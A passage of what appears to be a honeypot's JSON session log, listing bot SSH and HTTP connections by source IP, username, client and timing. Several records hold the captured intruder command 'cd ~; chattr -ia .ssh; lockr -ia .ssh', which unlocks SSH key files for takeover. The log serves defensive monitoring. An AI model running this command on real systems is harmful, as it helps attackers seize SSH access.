  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:22:49.953210+00:00",
  "ended_at": "2026-08-26T17:22:50.782054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f6a9aaa-8b60-419a-8996-742b664c5c54",
  "name": "autumn-arctic-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45026,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:22:46.878842+00:00",
  "ended_at": "2026-08-26T17:22:48.886630+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c0bf24f-df4e-4c5d-b6c8-c5fe7f7ec0ff",
  "name": "curious-rustic-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.227",
  "src_port": 19032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:22:07.270911+00:00",
  "ended_at": "2026-08-26T17:22:07.722623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22cb725e-d19e-414d-95e8-e6d2530112b6",
  "name": "somber-placid-agouti",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.136.86.241",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:21:29.457802+00:00",
  "ended_at": "2026-08-26T17:37:00.047339+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2092c945-ba1d-4b8d-91c9-6ad647fcdf48",
  "name": "faded-jolly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 44208,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:20:13.004124+00:00",
  "ended_at": "2026-08-26T17:20:14.511849+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "474b2122-5d26-48d1-9ad7-3df3d137f9de",
  "name": "bitter-shifting-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44404,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:19:53.946914+00:00",
  "ended_at": "2026-08-26T17:19:55.682043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c4c4e20-b152-4313-b569-9c8bc71d2121",
  "name": "thrifty-eager-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:19:51.388965+00:00",
  "ended_at": "2026-08-26T17:19:52.990436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ecea5eff-09c3-4118-a61d-f81f4713e7f9",
  "name": "dusky-wandering-impala",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "158.23.184.117",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:18:35.073904+00:00",
  "ended_at": "2026-08-26T17:34:00.014662+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44c50a88-9dbd-49f3-b57a-76d64fdc0a5d",
  "name": "genial-mighty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 50650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:17:22.479193+00:00",
  "ended_at": "2026-08-26T17:17:23.573581+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "25a04f08-9dbb-41ee-a253-21793abe2a5d",
  "name": "orderly-brazen-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 50666,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:17:03.437756+00:00",
  "ended_at": "2026-08-26T17:17:05.032588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65122ffd-48a8-48bd-9deb-efd51c63b5ce",
  "name": "blunt-knotted-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 50664,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:17:01.320577+00:00",
  "ended_at": "2026-08-26T17:17:02.390140+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59942ba3-30ce-4c37-95c1-83500230c94e",
  "name": "autumn-slender-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 39454,
  "username": "briona",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:16:24.527958+00:00",
  "ended_at": "2026-08-26T17:16:25.125189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67ee518b-6e71-49b1-afcc-a116e782369c",
  "name": "brazen-wry-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37428,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:14:22.643635+00:00",
  "ended_at": "2026-08-26T17:14:23.689337+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0808be22-fcde-47a9-905e-0b632a2d5ed0",
  "name": "northern-shaded-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 39838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:14:04.554099+00:00",
  "ended_at": "2026-08-26T17:14:05.502970+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7e5d5f87-8b87-496d-82e7-03e0d4d3dc15",
  "name": "downy-lanky-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:14:02.015580+00:00",
  "ended_at": "2026-08-26T17:14:03.471600+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "255d38df-02f0-4cca-898c-7b78b044f7ea",
  "name": "marine-knotted-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 38998,
  "username": "asag",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:11:25.039414+00:00",
  "ended_at": "2026-08-26T17:11:26.414109+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "7b35d1a5-be87-4373-93ba-622815c7a215",
  "name": "thrifty-pristine-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53098,
  "username": "asag",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:11:07.091803+00:00",
  "ended_at": "2026-08-26T17:11:07.766421+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "644fcaeb-3a73-4adc-8c26-8790cb96fffb",
  "name": "wandering-quaint-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53084,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:11:04.520335+00:00",
  "ended_at": "2026-08-26T17:11:06.046007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "29b3df17-c552-48fc-bff5-8d8f330f9603",
  "name": "stoic-creaky-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:08:26.813864+00:00",
  "ended_at": "2026-08-26T17:08:28.398127+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "d41ca9f9-e70f-461a-9368-7cf0fd0aa5a3",
  "name": "feral-vaulted-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43124,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:08:08.345695+00:00",
  "ended_at": "2026-08-26T17:08:09.683539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a202b5e-8120-4b87-aea6-581fddbe819f",
  "name": "plucky-gilded-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43118,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:08:06.577011+00:00",
  "ended_at": "2026-08-26T17:08:07.299966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ca54ba6-e0a4-4626-b417-5f43c9cc5874",
  "name": "somber-gentle-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 60100,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:05:33.235416+00:00",
  "ended_at": "2026-08-26T17:05:34.581998+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "573dbdf9-2aa6-493f-9718-b4d98741999f",
  "name": "peaty-deft-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 38412,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:05:14.782450+00:00",
  "ended_at": "2026-08-26T17:05:15.643560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad50ed75-a144-4606-8caa-bd71607028e0",
  "name": "gentle-idle-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 60102,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:05:12.088159+00:00",
  "ended_at": "2026-08-26T17:05:13.738132+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e683897-3875-45da-84ed-1d70ff687b98",
  "name": "rapid-wandering-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 57311,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:04:13.113541+00:00",
  "ended_at": "2026-08-26T17:04:14.165437+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f0bee0b-ab92-4117-82fc-9ef6d2db3505",
  "name": "murky-blazing-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 39672,
  "username": "metabase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:02:42.709476+00:00",
  "ended_at": "2026-08-26T17:02:44.147919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "b70bb155-54c0-4ce9-a59d-465b25bcc1ca",
  "name": "blithe-grassy-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53111,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:02:34.598999+00:00",
  "ended_at": "2026-08-26T17:02:36.536759+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d4d1d282-a964-4c42-88f8-0786f4f14fdb",
  "name": "dutiful-crisp-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 39810,
  "username": "metabase",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:02:23.624356+00:00",
  "ended_at": "2026-08-26T17:02:24.900514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2e54c558-cbfb-436b-88d0-8a79181c5e70",
  "name": "keen-rugged-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 39674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:02:20.635518+00:00",
  "ended_at": "2026-08-26T17:02:22.551277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc180190-0c7b-4959-8e27-7c69a99b3811",
  "name": "solemn-kindly-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 28662,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:01:28.153741+00:00",
  "ended_at": "2026-08-26T17:01:28.465116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e094aeea-f581-498c-8980-9b35778a824a",
  "name": "silent-nameless-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 59734,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:00:07.117206+00:00",
  "ended_at": "2026-08-26T17:00:08.996102+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b08d1268-1073-4121-9931-19eb832d67e7",
  "name": "freckled-thorny-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 33064,
  "username": "jupyter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:59:41.891718+00:00",
  "ended_at": "2026-08-26T16:59:43.572865+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "355b980e-5906-4227-9f8b-0b777e1558c2",
  "name": "windswept-proud-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40912,
  "username": "jupyter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:59:24.007341+00:00",
  "ended_at": "2026-08-26T16:59:24.697855+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c42b39f-76f3-4bf8-add9-681eccc3d0ef",
  "name": "buoyant-hazel-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:59:21.400547+00:00",
  "ended_at": "2026-08-26T16:59:22.947068+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1507f3e7-2981-4358-bfc5-c3e160832cd0",
  "name": "languid-quartz-kiwi",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "67.205.136.48",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:57:31.441337+00:00",
  "ended_at": "2026-08-26T17:12:59.778225+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b64052af-e251-4e94-bc05-5ff4676c7fa5",
  "name": "dusky-tawny-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 53834,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:56:41.435014+00:00",
  "ended_at": "2026-08-26T16:56:42.891316+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "d6519182-f2c0-4fce-9a52-28fb90e012d4",
  "name": "civil-granite-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53860,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:56:21.048606+00:00",
  "ended_at": "2026-08-26T16:56:22.704066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9913cfb8-66af-4c98-a57c-30f2e6e68b18",
  "name": "courtly-kindly-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53850,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:56:17.974428+00:00",
  "ended_at": "2026-08-26T16:56:20.001029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cfa65e7-167c-42f5-9159-175c94b52409",
  "name": "balmy-coastal-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40674,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:55:45.897015+00:00",
  "ended_at": "2026-08-26T16:55:46.340998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2617f066-07b6-4592-8343-0e9c1bb848be",
  "name": "stoic-fringed-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.29",
  "src_port": 27126,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:54:35.580718+00:00",
  "ended_at": "2026-08-26T16:54:35.998753+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24cde9e0-a18e-47da-b329-6317d940d3bf",
  "name": "stoic-hearty-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43112,
  "username": "jenny1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:53:36.175527+00:00",
  "ended_at": "2026-08-26T16:53:37.626016+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2220
 },
 {
  "id": "79de2b5d-1c4e-49ca-bea9-87af1335f7b8",
  "name": "proud-sleepy-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58732,
  "username": "jenny1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:53:17.682100+00:00",
  "ended_at": "2026-08-26T16:53:19.356813+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "177b66ad-4e1a-4b73-acc1-c33de64e160e",
  "name": "graceful-tidal-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:53:14.638238+00:00",
  "ended_at": "2026-08-26T16:53:16.625029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "815c960d-2ca0-4ed4-8fa8-222a00322bf7",
  "name": "stoic-sincere-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43722,
  "username": "store",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:50:37.663189+00:00",
  "ended_at": "2026-08-26T16:50:39.241651+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "71a94eda-68b4-4aed-8225-0f2120f8dbc0",
  "name": "serene-fearless-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.76",
  "src_port": 47392,
  "username": "tet",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:50:31.010751+00:00",
  "ended_at": "2026-08-26T16:50:32.431767+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f24c622-98ad-46bb-85b9-42d75d63aedd",
  "name": "sincere-hidden-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43748,
  "username": "store",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:50:19.182780+00:00",
  "ended_at": "2026-08-26T16:50:20.337855+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56e73ca8-6331-41a5-81b0-29f1080da30a",
  "name": "jagged-hollow-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43736,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:50:17.261770+00:00",
  "ended_at": "2026-08-26T16:50:18.131541+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7eb83e88-c236-44d4-914c-8a361aa70f81",
  "name": "fabled-lucid-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "115.191.43.197",
  "src_port": 43078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:48:29.923492+00:00",
  "ended_at": "2026-08-26T16:52:30.569193+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "399c04e2-db52-4a37-8947-ae9cba25946a",
  "name": "weathered-noble-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:47:42.889485+00:00",
  "ended_at": "2026-08-26T16:47:44.105346+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "23b33203-9115-4232-8731-25b133eadaab",
  "name": "granite-upland-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33436,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
